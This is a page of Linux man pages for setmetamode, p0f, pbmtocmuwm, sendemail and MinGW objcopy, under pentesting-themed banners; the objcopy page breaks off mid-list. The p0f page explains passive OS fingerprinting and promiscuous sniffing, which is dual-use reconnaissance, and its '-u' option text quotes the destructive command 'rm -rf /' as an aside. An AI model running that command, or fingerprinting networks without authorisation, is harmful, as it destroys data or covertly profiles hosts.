             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

897 - Linux cli command setmetamode

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command setmetamode and provides detailed information about the command setmetamode, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the setmetamode.

NAME 🖥️ setmetamode 🖥️

define the keyboard meta key handling

SYNOPSIS

setmetamode [ options ] [ argument ]

DESCRIPTION

Without argument, setmetamode prints the current Meta key mode. With argument, it sets the Meta key mode as indicated. The setting before and after the change are reported.

The Meta key mode is specific for each VT (and the VT corresponding to stdin is used). One might use setmetamode in /etc/rc to define the initial state of the Meta key mode, e.g. by

INITTY=/dev/tty[1-8]
for tty in $INITTY; do

setmetamode escprefix < $tty

done

ARGUMENTS

esc, prefix, escprefix
The Meta key sends an Escape prefix.

meta, bit, metabit
The Meta key sets the high order bit of the character.

OPTIONS

-C, –console=DEV
the console device to be used;

-V, –version
print version number;

-h, –help
print this usage message.

SEE ALSO

loadkeys(1), kbdinfo(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

898 - Linux cli command p0f

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command p0f and provides detailed information about the command p0f, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the p0f.

NAME 🖥️ p0f 🖥️

identify remote systems passively

SYNOPSIS

p0f p0f [ -f file ] [ -i device ] [ -r file ] [ -o file ] [ -s socket ] [ -u user ] [ -S limit ] [ -t c,h ] [ -m c,h ] [ -pdL ] [ ‘filter rule’ ]

DESCRIPTION

p0f uses a fingerprinting technique based on analyzing the structure of a TCP/IP packet to determine the operating system and other configuration properties of a remote host. The process is completely passive and does not generate any suspicious network traffic. The other host has to either:

- connect to your network - either spontaneously or in an induced manner, for example when trying to establish a ftp data stream, returning a bounced mail, performing auth lookup, using IRC DCC, external html mail image reference and so on,

- or be contacted by some entity on your network using some standard means (such as a web browsing); it can either accept or refuse the connection.

The method can see thru packet firewalls and does not have the restrictions of an active fingerprinting. The main uses of passive OS fingerprinting are attacker profiling (IDS and honeypots), visitor profiling (content optimization), customer/user profiling (policy enforcement), pen-testing, etc.

OPTIONS

-f file
read fingerprints from file; by default, p0f reads signatures from ./p0f.fp or /etc/p0f/p0f.fp (the latter on Unix systems only). You can use this to load custom fingerprint data. Specifying multiple -f values will NOT combine several signature files together.

-i device
listen on this device; p0f defaults to whatever device libpcap considers to be the best (and which often isn’t). On some newer systems you might be able to specify ‘any’ to listen on all devices, but don’t rely on this. Specifying multiple -i values will NOT cause p0f to listen on several interfaces at once.

-r file
read packets from tcpdump snapshot; this is an alternate mode of operation, in which p0f reads packet from pcap data capture file, instead of a live network. Useful for forensics (this will parse tcpdump -w output, for example).

You can use Ethereal’s text2pcap to convert human-readable packet traces to pcap files, if needed.

-o file
write to this logfile. This option is required for -d and implies -t.

-s socket
listen on a specified local stream socket (a filesystem object, for example /var/run/p0f-sock) for queries. One can later send a packet to this socket with p0f_query structure from p0f-query.h, and wait for p0f_response. This is a method of integrating p0f with active services (web server or web scripts, etc). P0f will still continue to report signatures the usual way - but you can use -qKU combination to suppress this. Also see -c notes.

A sample query tool (p0f-client) is provided in the tools/ subdirectory.

NOTE: The socket will be created with permissions corresponding to your current umask. If you want to restrict access to this interface, use caution.

-u user
this option forces p0f to chroot to this user’s home directory after reading configuration data and binding to sockets, then to switch to his UID, GID and supplementary groups.

This is a security feature for the paranoid - when running p0f in daemon mode, you might want to create a new unprivileged user with an empty home directory, and limit the exposure when p0f is compromised. That said, should such a compromise occur, the attacker will still have a socket he can use for sniffing some network traffic (better than rm -rf /).

-p
switch card to promiscuous mode; by default, p0f listens only to packets addressed or routed thru the machine it runs on. This setting might decrease performance, depending on your network design and load. On switched networks, this usually has little or no effect.

Note that promiscuous mode on IP-enabled interfaces can be detected remotely, and is sometimes not welcome by network administrators.

-d
go into daemon mode (detach from current terminal and fork into background). Requires -o or -s.

-L
lists all available interfaces, then quits. Particularly useful on Windows, where the system-generated interface names are impossible to memorize.

-S limit
Limit number of parallel API connections (default: 20)

-t c,h
Set connection / host cache age limits (default: 30s,120m)

-m c,h
Limit the number of active connections / hosts (default: 1000,10000)

FILTERS

The last part, ‘filter rule’, is a bpf-style filter expression for incoming packets. It is very useful for excluding or including certain networks, hosts, or specific packets, in the logfile. See man tcpdump for more information, few examples:

‘src port ftp-data’

’not dst net 10.0.0.0 mask 255.0.0.0’

‘dst port 80 and ( src host 195.117.3.59 or src host 217.8.32.51 )’

BUGS

You need to consult the documentation for an up-to-date list of issues.

FILES

/etc/p0f/p0f.fp
default fingerprint database file

AUTHOR

p0f was written by Michal Zalewski <[email protected]>. This man page was originally written by William Stearns <[email protected]>, then adopted for p0f v2 by Michal Zalewski, and p0f v3 by Pierre Chifflier.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

899 - Linux cli command pbmtocmuwm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtocmuwm and provides detailed information about the command pbmtocmuwm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtocmuwm.

.

NAME 🖥️ pbmtocmuwm 🖥️

convert a PBM image into a CMU window manager bitmap

SYNOPSIS

pbmtocmuwm [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtocmuwm reads a portable bitmap as input and produces a CMU window manager bitmap as output.

OPTIONS

There are no command line options defined specifically for pbmtocmuwm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

cmuwmtopbm(1) , pbm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtocmuwm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

900 - Linux cli command sendemail

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sendemail and provides detailed information about the command sendemail, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sendemail.

NAME 🖥️ sendemail 🖥️

Lightweight, command line SMTP email client

SYNOPSIS

SendEmail -f ADDRESS [options]

OPTIONS

-f ADDRESS
from (sender) email address

* At least one recipient required via -t, -cc, or -bcc * Message body required via -m, STDIN, or -o message-file=FILE

Common:

-t ADDRESS [ADDR …]
to email address(es)

-u SUBJECT
message subject

-m MESSAGE
message body

-s SERVER[:PORT]
smtp mail relay, default is localhost:25

-S [SENDMAIL_PATH]
use local sendmail utility (default: /usr/bin/sendmail) instead of network MTA

Optional:

-a
FILE [FILE …] file attachment(s)

-cc
ADDRESS [ADDR …] cc email address(es)

-bcc ADDRESS [ADDR …]
bcc email address(es)

Paranormal:

-xu USERNAME
authentication user (for SMTP authentication)

-xp PASSWORD
authentication password (for SMTP authentication)

-l
LOGFILE log to the specified file

-v
verbosity, use multiple times for greater effect

-q
be quiet (no stdout output)

-o NAME=VALUE
see extended help topic “misc” for details

Help:

–help TOPIC
The following extended help topics are available:

addressing
explain addressing and related options

message
explain message body input and related options

misc
explain -xu, -xp, and others

networking
explain -s, etc

output
explain logging and other output options

REPORTING BUGS

Report bugs to <http://bugs.debian.org/sendemail>

AUTHOR

sendemail was written by Brandon Zehm <[email protected]> .

This manual page was written by Brandon Zehm and improved by Alejandro Garrido Mota <[email protected]>, for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

901 - Linux cli command x86_64-w64-mingw32-objcopy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-objcopy and provides detailed information about the command x86_64-w64-mingw32-objcopy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-objcopy.

NAME 🖥️ x86_64-w64-mingw32-objcopy 🖥️

copy and translate object files

SYNOPSIS

objcopy [-F bfdname|–target=bfdname] [-I bfdname|–input-target=bfdname] [-O bfdname|–output-target=bfdname] [-B bfdarch|–binary-architecture=bfdarch] [-S|–strip-all] [-g|–strip-debug] [–strip-unneeded] [-K symbolname|–keep-symbol=symbolname] [–keep-file-symbols] [–keep-section-symbols] [-N symbolname|–strip-symbol=symbolname] [–strip-unneeded-symbol=symbolname] [-G symbolname|–keep-global-symbol=symbolname] [–localize-hidden] [-L symbolname|–localize-symbol=symbolname] [–globalize-symbol=symbolname] [–globalize-symbols=filename] [-W symbolname|–weaken-symbol=symbolname] [-w|–wildcard] [-x|–discard-all] [-X|–discard-locals] [-b byte|–byte=byte] [-i [breadth]|–interleave[=breadth]] [–interleave-width=width] [-j sectionpattern|–only-section=sectionpattern] [-R sectionpattern|–remove-section=sectionpattern] [–keep-section=sectionpattern] [–remove-relocations=sectionpattern] [–strip-section-headers] [-p|–preserve-dates] [-D|–enable-deterministic-archives] [-U|–disable-deterministic-archives] [–debugging] [–gap-fill=val] [–pad-to=address] [–set-start=val] [–adjust-start=incr] [–change-addresses=incr] [–change-section-address sectionpattern{=,+,-}val] [–change-section-lma sectionpattern{=,+,-}val] [–change-section-vma sectionpattern{=,+,-}val] [–change-warnings] [–no-change-warnings] [–set-section-flags sectionpattern=flags] [–set-section-alignment sectionpattern=align] [–add-section sectionname=filename] [–dump-section sectionname=filename] [–update-section sectionname=filename] [–rename-section oldname=newname[,flags]] [–long-section-names {enable,disable,keep}] [–change-leading-char] [–remove-leading-char] [–reverse-bytes=num] [–srec-len=ival] [–srec-forceS3] [–redefine-sym old=new] [–redefine-syms=filename] [–weaken] [–keep-symbols=filename] [–strip-symbols=filename] [–strip-unneeded-symbols=filename] [–keep-global-symbols=filename] [–localize-symbols=filename] [–weaken-symbols=filename] [–add-symbol name=[section:]value[,flags]] [–alt-machine-code=index] [–prefix-symbols=string] [–prefix-sections=string] [–prefix-alloc-sections=string] [–add-gnu-debuglink=path-to-file] [–only-keep-debug] [–strip-dwo] [–extract-dwo] [–extract-symbol] [–writable-text] [–readonly-text] [–pure] [–impure] [–file-alignment=num] [–heap=reserve[,commit]] [–image-base=address] [–section-alignment=num] [–stack=reserve[,commit]] [–subsystem=which:major.minor] [–compress-debug-sections] [–decompress-debug-sections] [–elf-stt-common=val] [–merge-notes] [–no-merge-notes] [–verilog-data-width=val] [-v|–verbose] [-V|–version] [–help] [–info] infile [outfile]

DESCRIPTION

The GNU objcopy utility copies the contents of an object file to another. objcopy uses the GNU BFD Library to read and write the object files. It can write the destination object file in a format different from that of the source object file. The exact behavior of objcopy is controlled by command-line options. Note that objcopy should be able to copy a fully linked file between any two formats. However, copying a relocatable object file between any two formats may not work as expected.

objcopy creates temporary files to do its translations and deletes them afterward. objcopy uses BFD to do all its translation work; it has access to all the formats described in BFD and thus is able to recognize most formats without being told explicitly.

objcopy can be used to generate S-records by using an output target of srec (e.g., use -O srec).

objcopy can be used to generate a raw binary file by using an output target of binary (e.g., use -O binary). When objcopy generates a raw binary file, it will essentially produce a memory dump of the contents of the input object file. All symbols and relocation information will be discarded. The memory dump will start at the load address of the lowest section copied into the output file.

When generating an S-record or a raw binary file, it may be helpful to use -S to remove sections containing debugging information. In some cases -R will be useful to remove sections which contain information that is not needed by the binary file.

Note—objcopy is not able to change the endianness of its input files. If the input format has an endianness (some formats do not), objcopy can only copy the inputs into file formats that have the same endianness or which have no endianness (e.g., srec). (However, see the –reverse-bytes option.)

OPTIONS

infile

outfile

The input and output files, respectively. If you do not specify outfile, objcopy creates a temporary file and destructively renames the result with the name of infile.

-I bfdname

–input-target=bfdname

Consider the source file’s object format to be bfdname, rather than attempting to deduce it.

-O bfdname

–output-target=bfdname

Write the output file using the object format bfdname.

-F bfdname

–target=bfdname

Use bfdname as the object format for both the input and the output file; i.e., simply transfer data from source to destination with no translation.

-B bfdarch

–binary-architecture=bfdarch

Useful when transforming a architecture-less input file into an object file. In this case the output architecture can be set to bfdarch. This option will be ignored if the input file has a known bfdarch. You can access this binary data inside a program by referencing the special symbols that are created by the conversion process. These symbols are called _binary_objfile_start, _binary_objfile_end and _binary_objfile_size. e.g. you can transform a picture file into an object file and then access it in your code using these symbols.

-j sectionpattern

–only-section=sectionpattern

Copy only the indicated sections from the input file to the output file. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be copied, even if earlier use of –only-section on the same command line would otherwise copy it. For example: –only-section=.text.* –only-section=!.text.foo will copy all sectinos matching ‘.text.*’ but not the section ‘.text.foo’.

-R sectionpattern

–remove-section=sectionpattern

Remove any section matching sectionpattern from the output file. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. Using both the -j and -R options together results in undefined behaviour. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be removed even if an earlier use of –remove-section on the same command line would otherwise remove it. For example: –remove-section=.text.* –remove-section=!.text.foo will remove all sections matching the pattern ‘.text.*’, but will not remove the section ‘.text.foo’.

–keep-section=sectionpattern
When removing sections from the output file, keep sections that match sectionpattern.

–remove-relocations=sectionpattern
Remove non-dynamic relocations from the output file for any section matching sectionpattern. This option may be given more than once. Note that using this option inappropriately may make the output file unusable, and attempting to remove a dynamic relocation section such as .rela.plt from an executable or shared library with –remove-relocations=.plt will not work. Wildcard characters are accepted in sectionpattern. For example: –remove-relocations=.text.* will remove the relocations for all sections matching the pattern ‘.text.*’. If the first character of sectionpattern is the exclamation point (!) then matching sections will not have their relocation removed even if an earlier use of –remove-relocations on the same command line would otherwise cause the relocations to be removed. For example: –remove-relocations=.text.* –remove-relocations=!.text.foo will remove all relocations for sections matching the pattern ‘.text.*’, but will not remove relocations for the section ‘.text.foo’.

–strip-section-headers
Strip section header This option is specific to ELF files. Implies –strip-all and –merge-notes.

-S

–strip-all

Do not copy relocation and symbol information from the source file. Also deletes debug sections.

-g

–strip-debug

Do not copy debugging symbols or sections from the source file.

–strip-unneeded
Remove all symbols that are not needed for relocation processing in addition to debugging symbols and sections stripped by –strip-debug.

-K symbolname

–keep-symbol=symbolname

When stripping symbols, keep symbol symbolname even if it would normally be stripped. This option may be given more than once.

-N symbolname

–strip-symbol=symbolname

Do not copy symbol symbolname from the source file. This option may be given more than once.

–strip-unneeded-symbol=symbolname
Do not copy symbol symbolname from the source file unless it is needed by a relocation. This option may be given more than once.

-G symbolname

–keep-global-symbol=symbolname

Keep only symbol symbolname global. Make all other symbols local to the file, so that they are not visible externally. This option may be given more than once. Note: this option cannot be used in conjunction with the –globalize-symbol or –globalize-symbols options.

–localize-hidden
In an ELF object, mark all symbols that have hidden or internal visibility as local. This option applies on top of symbol-specific localization options such as -L.

-L symbolname

–localize-symbol=symbolname

Convert a global or weak symbol called symbolname into a local symbol, so that it is not visible externally. This option may be given more than once. Note - unique symbols are not converted.

-W symbolname

–weaken-symbol=symbolname

Make symbol symbolname weak. This option may be given more than once.

–globalize-symbol=symbolname
Give symbol symbolname global scoping so that it is visible outside of the file in which it is defined. This option may be given more than once. Note: this option cannot be used in conjunction with the -G or –keep-global-symbol options.

-w

–wildcard

Permit regular expressions in symbolnames used in other command line options. The question mark (?), asterisk (*), backslash (\ and square brackets ([]) operators can be used anywhere in the symbol name. If the first character of the symbol name is the exclamation point (!) then the sense of the switch is reversed for that symbol. For example: -w -W !foo -W fo* would cause objcopy to weaken all symbols that start with “fo” except for the symbol “foo”.

-x

–discard-all

Do not copy non-global symbols from the source file.

-X

–discard-locals

Do not copy compiler-generated local symbols. (These usually start with L or ..)

-b byte

–byte=byte

If interleaving has been enabled via the –interleave option then start the range of bytes to keep at the byteth byte. byte can be in the range from 0 to breadth-1, where breadth is the value given by the –interleave option.

-i [breadth]

–interleave[=breadth]

Only copy a range out of every breadth bytes. (Header data is not affected). Select which byte in the range begins the copy with the –byte option. Select the width of the range with the –interleave-width option. This option is useful for creating files to program ROM. It is typically used with an srec output target. Note that objcopy will complain if you do not specify the –byte option as well. The default interleave breadth is 4, so with –byte set to 0, objcopy would copy the first byte out of every four bytes from the input to the output.

–interleave-width=width
When used with the –interleave option, copy width bytes at a time. The start of the range of bytes to be copied is set by the –byte option, and the extent of the range is set with the –interleave option. The default value for this option is 1. The value of width plus the byte value set by the –byte option must not exceed the interleave breadth set by the –interleave option. This option can be used to create images for two 16-bit flashes interleaved in a 32-bit bus by passing -b 0 -i 4 –interleave-width=2 and -b 2 -i 4 –interleave-width=2 to two objcopy commands. If the input was ‘12345678’ then the outputs would be ‘1256’ and ‘3478’ respectively.

-p

–preserve-dates

Set the access and modification dates of the output file to be the same as those of the input file. This option also copies the date stored in a PE format file’s header, unless the SOURCE_DATE_EPOCH environment variable is defined. If it is defined then this variable will be used as the date stored in the header, interpreted as the number of seconds since the Unix epoch.

-D

–enable-deterministic-archives

Operate in deterministic mode. When copying archive members and writing the archive index, use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, below.

-U

–disable-deterministic-archives

Do not operate in deterministic mode. This is the inverse of the -D option, above: when copying archive members and writing the archive index, use their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.

–debugging
Convert debugging information, if possible. This is not the default because only certain debugging formats are supported, and the conversion process can be time consuming.

–gap-fill val
Fill gaps between sections with val. This operation applies to the load address (LMA) of the sections. It is done by increasing the size of the section with the lower address, and filling in the extra space created with val.

–pad-to address
Pad the output file up to the load address address. This is done by increasing the size of the last section. The extra space is filled in with the value specified by –gap-fill (default zero).

–set-start val
Set the start address (also known as the entry address) of the new file to val. Not all object file formats support setting the start address.

–change-start incr

–adjust-start incr

Change the start address (also known as the entry address) by adding incr. Not all object file formats support setting the start address.

–change-addresses incr

–adjust-vma incr

Change the VMA and LMA addresses of all sections, as well as the start address, by adding incr. Some object file formats do not permit section addresses to be changed arbitrarily. Note that this does not relocate the sections; if the program expects sections to be loaded at a certain address, and this option is used to change the sections such that they are loaded at a different address, the program may fail.

–change-section-address sectionpattern{=,+,-}val

–adjust-section-vma sectionpattern{=,+,-}val

Set or change both the VMA address and the LMA address of any section matching sectionpattern. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used.

–change-section-lma sectionpattern{=,+,-}val
Set or change the LMA address of any sections matching sectionpattern. The LMA address is the address where the section will be loaded into memory at program load time. Normally this is the same as the VMA address, which is the address of the section at program run time, but on some systems, especially those where a program is held in ROM, the two can be different. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used.

–change-section-vma sectionpattern{=,+,-}val
Set or change the VMA address of any section matching sectionpattern. The VMA address is the address where the section will be located once the program has started executing. Normally this is the same as the LMA address, which is the address where the section will be loaded into memory, but on some systems, especially those where a program is held in ROM, the two can be different. If = is used, the section address is set to val. Otherwise, val is added to or subtracted from the section address. See the comments under –change-addresses, above. If sectionpattern does not match any sections in the input file, a warning will be issued, unless –no-change-warnings is used. Note - changing the VMA of sections in a fully linked binary can be dangerous since there may be code that expects the sections to be located at their old address.

–change-warnings

–adjust-warnings

If –change-section-address or –change-section-lma or –change-section-vma is used, and the section pattern does not match any sections, issue a warning. This is the default.

–no-change-warnings

–no-adjust-warnings

Do not issue a warning if –change-section-address or –adjust-section-lma or –adjust-section-vma is used, even if the section pattern does not match any sections.

–set-section-flags sectionpattern=flags
Set the flags for any sections matching sectionpattern. The flags argument is a comma separated string of flag names. The recognized names are alloc, contents, load, noload, readonly, code, data, rom, exclude, share, debug, and large. You can set the contents flag for a section which does not have contents, but it is not meaningful to clear the contents flag of a section which does have contents–just remove the section instead. Not all flags are meaningful for all object file formats. In particular the share flag is only meaningful for COFF format files and not for ELF format files. The ELF x86-64 specific flag large corresponds to SHF_X86_64_LARGE.

–set-section-alignment sectionpattern=align
Set the alignment for any sections matching sectionpattern. align specifies the alignment in bytes and must be a power of two, i.e. 1, 2, 4, 8…. Note - setting a section’s alignment will not automatically align its LMA or VMA addresses. If those need to be changed as well then the –change-section-lma and/or –change-section-vma options should be used. Also note that changing VMAs can cause problems in fully linked binaries where there may be code that expects the contents of the sections to be located at their old address.

–add-section sectionname=filename
Add a new section named sectionname while copying the file. The contents of the new section are taken from the file filename. The size of the section will be the size of the file. This option only works on file formats which can support sections with arbitrary names. Note - it may be necessary to use the –set-section-flags option to set the attributes of the newly created section.

–dump-section sectionname=filename
Place the contents of section named sectionname into the file filename, overwriting any contents that may have been there previously. This option is the inverse of –add-section. This option is similar to the –only-section option except that it does not create a formatted file, it just dumps the contents as raw binary data, without applying any relocations. The option can be specified more than once.

–update-section sectionname=filename
Replace the existing contents of a section named sectionname with the contents of file filename. The size of the section will be adjusted to the size of the file. The section flags for sectionname will be unchanged. For ELF format files the section to segment mapping will also remain unchanged, something which is not possible using –remove-section followed by –add-section. The option can be specified more than once. Note - it is possible to use –rename-section and –update-section to both update and rename a section from one command line. In this case, pass the original section name to –update-section, and the original and new section names to –rename-section.

–add-symbol name=[section:]value[,flags]
Add a new symbol named name while copying the file. This option may be specified multiple times. If the section is given, the symbol will be associated with and relative to that section, otherwise it will be an ABS symbol. Specifying an undefined section will result in a fatal error. There is no check for the value, it will be taken as specified. Symbol flags can be specified and not all flags will be meaningful for all object file formats. By default, the symbol will be global. The special flag ‘before=othersym’ will insert the new symbol in front of the specified othersym, otherwise the symbol(s) will be added at the end of the symbol table in the order they appear.

–rename-section oldname=newname[,flags]
Rename a section from oldname to newname, optionally changing the section’s flags to flags in the process. This has the advantage over using a linker script to perform the rename in that the output stays as an object file and does not become a linked executable. This option accepts the same set of flags as the –set-section-flags option. This option is particularly helpful when the input format is binary, since this will always create a section called .data. If for example, you wanted instead to create a section called .rodata containing binary data you could use the following command line to achieve it: objcopy -I binary -O <output_format> -B <architecture> \ –rename-section .data=.rodata,alloc,load,readonly,data,contents \ <input_binary_file> <output_object_file>

–long-section-names {enable,disable,keep}
Controls the handling of long section names when processing COFF and PE-COFF object formats. The default behaviour, keep, is to preserve long section names if any are present in the input file. The enable and disable options forcibly enable or disable the use of long section names in the output object; when disable is in effect, any long section names in the input object will be truncated. The enable option will only emit long section names if any are present in the inputs; this is mostly the same as keep, but it is left undefined whether the enable option might force the creation of an empty string table in the output file.

–change-leading-char
Some object file formats use special characters at the start of symbols. The most common such character is underscore, which compilers often add before every symbol. This option tells objcopy to change the leading character of every symbol when it converts between object file formats. If the object file formats use the same leading character, this option has no effect. Otherwise, it will add a character, or remove a character, or change a character, as appropriate.

–remove-leading-char
If the first character of a global symbol is a special symbol leading character used by the object file format, remove the character. The most common symbol leading character is underscore. This option will remove a leading underscore from all global symbols. This can be useful if you want to link together objects of different file formats with different conventions for symbol names. This is different from –change-leading-char because it always changes the symbol name when appropriate, regardless of the object file format of the output file.

–reverse-bytes=num
Reverse the bytes in a section with output contents. A section length must be evenly divisible by the value given in order for the swap to be able to take place. Reversing takes place before the interleaving is performed. This option is used typically in generating ROM images for problematic target systems. For example, on some target boards, the 32-bit words fetched from 8-bit ROMs are re-assembled in little-endian byte order regardless of the CPU byte order. Depending on the programming model, the endianness of the ROM may need to be modified. Consider a simple file with a section containing the following eight bytes: 12345678. Using –reverse-bytes=2 for the above example, the bytes in the output file would be ordered 21436587. Using –reverse-bytes=4 for the above example, the bytes in the output file would be ordered 43218765. By using –reverse-bytes=2 for the above example, followed by –reverse-bytes=4 on the output file, the bytes in the second output file would be ordered 34127856.

–srec-len=ival
Meaningful only for srec output. Set the maximum length of the Srecords being produced to ival. This length covers both address, data and crc fields.

–srec-forceS3
Meaningful only for srec output. Avoid generation of S1/S2 records, creating S3-only record format.

–redefine-sym old=new
Change the name of a symbol old, to new. This can be useful when one is trying link two things together for which you have no source, and there are name collisions.

–redefine-syms=filename
Apply –redefine-sym to each symbol pair “old new” listed in the file filename. filename is simply a flat file, with one symbol pair per line. Line comments may be introduced by the hash character. This option may be given more than once.

–weaken
Change all global symbols in the file to be weak. This can be useful when building an object which will be linked against other objects using the -R option to the linker. This option is only effective when using an object file format which supports weak symbols.

–keep-symbols=filename
Apply –keep-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–strip-symbols=filename
Apply –strip-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–strip-unneeded-symbols=filename
Apply –strip-unneeded-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–keep-global-symbols=filename
Apply –keep-global-symbol option to each symbol listed in the file filename. filename is simply a flat file, with one symbol name per line. Line comments may be introduced by the hash character. This option may be given more than once.

–localize-symbols=filename
